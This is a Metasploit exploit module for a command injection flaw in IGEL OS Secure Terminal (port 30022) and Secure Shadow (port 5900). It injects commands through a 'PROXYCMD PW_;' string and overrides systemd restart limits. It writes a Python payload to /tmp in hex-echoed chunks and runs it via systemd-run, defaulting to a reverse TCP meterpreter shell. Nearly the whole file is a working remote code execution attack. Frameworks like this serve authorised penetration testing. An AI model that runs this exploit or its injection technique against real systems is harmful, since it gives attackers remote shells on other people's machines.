metasploit-gs/modules/exploits/linux/misc/igel_command_injection.rb

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info={})
    super(update_info(info,
      'Name'            => "IGEL OS Secure VNC/Terminal Command Injection RCE",
      'Description'     => %q{
        This module exploits a command injection vulnerability in IGEL OS Secure Terminal
        and Secure Shadow services.

        Both Secure Terminal (telnet_ssl_connector - 30022/tcp) and Secure
        Shadow (vnc_ssl_connector - 5900/tcp) services are vulnerable.
      },
      'License'         => MSF_LICENSE,
      'Author'          => [
        'Rob Vinson',         # Discovery
        'James Brytan',       # Research and testing
        'James Smith',        # Research and testing
        'Marisa Mack',        # Research and testing
        'Sergey Pashevkin',   # Research and testing
        'Steven Laura'        # Research and testing
      ],
      'References'      => [
        [ 'URL', 'https://kb.igel.com/securitysafety/en/isn-2021-01-igel-os-remote-command-execution-vulnerability-41449239.html' ],
        [ 'URL', 'https://www.igel.com/wp-content/uploads/2021/02/lxos_11.04.270.txt' ]
      ],
      'Platform'        => ['python'],
      'Arch'            => [ARCH_PYTHON],
      'Targets'         => [
        [ 'Python payload',
          'Arch' => ARCH_PYTHON,
          'Type' => :python,
          'Platform' => 'python',
          'DefaultOptions' => {'PAYLOAD' => 'python/meterpreter/reverse_tcp'}
        ],
      ],
      'Privileged'      => false,
      'DisclosureDate'  => "2021-02-25",
      'DefaultTarget'   => 0,
      'Notes'           => {
        'SideEffects'   => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
        'Reliability'   => [REPEATABLE_SESSION],
        'Stability'     => [CRASH_SAFE],
      }
    ))

    register_options(
      [
        Opt::RPORT(30022)
      ]
    )

    register_advanced_options(
      [
        # must enable SSL
        OptBool.new('SSL', [ true, 'Negotiate SSL/TLS for outgoing connections', true]),
      ]
    )
  end


  def check
    probe = '<igel_scan></igel_scan>'

    begin
      sock = Rex::Socket::Udp.create(
        'PeerHost'  =>  datastore['RHOST'] || rhost,
        'PeerPort'  => 30005,
        'LocalHost' =>  datastore['CHOST'] || chost || "0.0.0.0",
        'LocalPort' => (datastore['CPORT'] || cport || 0).to_i,
        'Context'   => {
            'Msf' => framework,
            'MsfExploit' => self
        },
      )

      sock.put(probe)
      res = sock.recvfrom(65535, 0.5)
      if not res
        return Exploit::CheckCode::Unknown
      end

      probe_response = res[0]
      matches = probe_response.match(/firmwareversion=<([0-9\.]+)>/)
      if not matches
        return Exploit::CheckCode::Unknown
      end

      version = matches.captures[0]
      vprint_status("IGEL OS Version: #{version}")
      major, minor, patch, revision = version.split(".")
      if major.to_i == 10
        if minor.to_i < 6 or  (minor.to_i == 6 and patch.to_i < 220)
          return Exploit::CheckCode::Appears
        end
      elsif major.to_i == 11
        if minor.to_i < 4 or  (minor.to_i == 4 and patch.to_i < 270)
          return Exploit::CheckCode::Appears
        end
      end

      return Exploit::CheckCode::Safe

    rescue ::Exception => e
      vprint_error("Unknown err: #{e.class} #{e}")
      return Exploit::CheckCode::Unknown
    ensure
      sock.close if sock
    end
  end


  # execute a shell command on the target.
  # cmdstr is limited to 223 characters
  def exec_cmd(cmdstr)
    if cmdstr.length > 223
      raise ArgumentError.new("Attempted command is too large")
    end

    cmdfull = "#{cmdstr};false"
    vprint_status("executing #{cmdfull}")
    retries = 0

    begin
      connect
      sock.put(%(PROXYCMD PW_;#{cmdfull}))
    rescue ::Rex::ConnectionRefused, Errno::ECONNRESET => e
      if retries < 5
        retries += 1
        sleep 0.5 * (2**retries)
        vprint_status("retrying command - #{retries}")
        retry
      else
        vprint_error("retries exhausted: #{e.class} #{e}")
        raise e
      end
    rescue ::Exception => e
      vprint_error("failed: #{e.class} #{e}")
      raise e
    ensure
      disconnect
    end
  end


  # chunks up buffer, encodes chunk as a hex string, and echos it to path one chunk at a time
  def write_file(buf, path)
    slice_size = (223 - %(bash -c 'echo -ne "">>#{path}').length) / 4
    buf.split("").each_slice(slice_size) do |ary|
      buf_part = ary.join
      hex = buf_part.each_byte.map {|b| "\\x#{b.to_s(16)}"}.join
      begin
        exec_cmd(%(bash -c 'echo -ne "#{hex}">>#{path}'))
      rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
        fail_with(Failure::Unreachable, "Failed writing to #{path} with error #{e}.")
      rescue ::Exception => e
        fail_with(Failure::Unknown, "Failed writing to #{path} with error #{e}.")
      end
    end
  end


  # somewhat arbitrary cutoff of what designates a large payload
  def big_payload?
    if payload.encoded.length > 1024
      return true
    end
    return false
  end


  def adjust_systemd_props
    # Adjust limits to keep throttling from stopping the services or otherwise
    # slowing us down
    svc = "vnc"
    if datastore['RPORT'] == 5900
      svc = "vnc"
    elsif datastore['RPORT'] == 30022
      svc = "telnet"
    end

    print_status("Overriding igel-#{svc}-ssl-connector.service StartLimitBurst")
    exec_cmd(%(mkdir /etc/systemd/system/igel-#{svc}-ssl-connector.service.d))
    exec_cmd(%(printf "[Service]\\nStartLimitBurst=9999\\n" > /etc/systemd/system/igel-#{svc}-ssl-connector.service.d/override.conf))
    print_status("Overriding igel-#{svc}-ssl-connector.socket TriggerLimitBurst")
    exec_cmd(%(mkdir /etc/systemd/system/igel-#{svc}-ssl-connector.socket.d))
    exec_cmd(%(printf "[Socket]\\nTriggerLimitBurst=9999\\n" > /etc/systemd/system/igel-#{svc}-ssl-connector.socket.d/override.conf))
    exec_cmd(%(systemctl daemon-reload))
  end


  def cleanup_systemd_props
    svc = "vnc"
    if datastore['RPORT'] == 5900
      svc = "vnc"
    elsif datastore['RPORT'] == 30022
      svc = "telnet"
    end

    print_status("Removing override for igel-#{svc}-ssl-connector.service")
    exec_cmd(%(rm /etc/systemd/system/igel-#{svc}-ssl-connector.service.d/override.conf))
    print_status("Removing override for igel-#{svc}-ssl-connector.socket")
    exec_cmd(%(rm /etc/systemd/system/igel-#{svc}-ssl-connector.socket.d/override.conf))
    exec_cmd(%(systemctl deamon-reload))
  end


  def remove_file(path)
    begin
      exec_cmd(%(rm #{path}))
    rescue
      print_warning("Failed to remove file #{path}.")
    end
  end


  def exploit
    path = "/tmp/#{rand_text_alphanumeric(4)}"
    if big_payload?
      print_warning("The payload selected is relatively large.  This could take a few minutes, be patient.")
    end

    adjust_systemd_props
    print_status("Writing payload to file #{path}.")
    write_file(payload.encoded, path)

    begin
      # execute python payload. systemd-run is used to prevent systemd from killing
      # the resulting processes
      print_status("Executing payload #{path}.")
      exec_cmd(%(/usr/bin/systemd-run --scope bash -c "python #{path}"))

    rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
      fail_with(Failure::Unreachable, "Failed executing payload with error #{e}.")

    rescue ::Exception => e
      fail_with(Failure::Unknown, "Failed executing payload with error #{e}.")
    end

    print_status("Removing payload file #{path}.")
    remove_file(path)
    cleanup_systemd_props
  end

end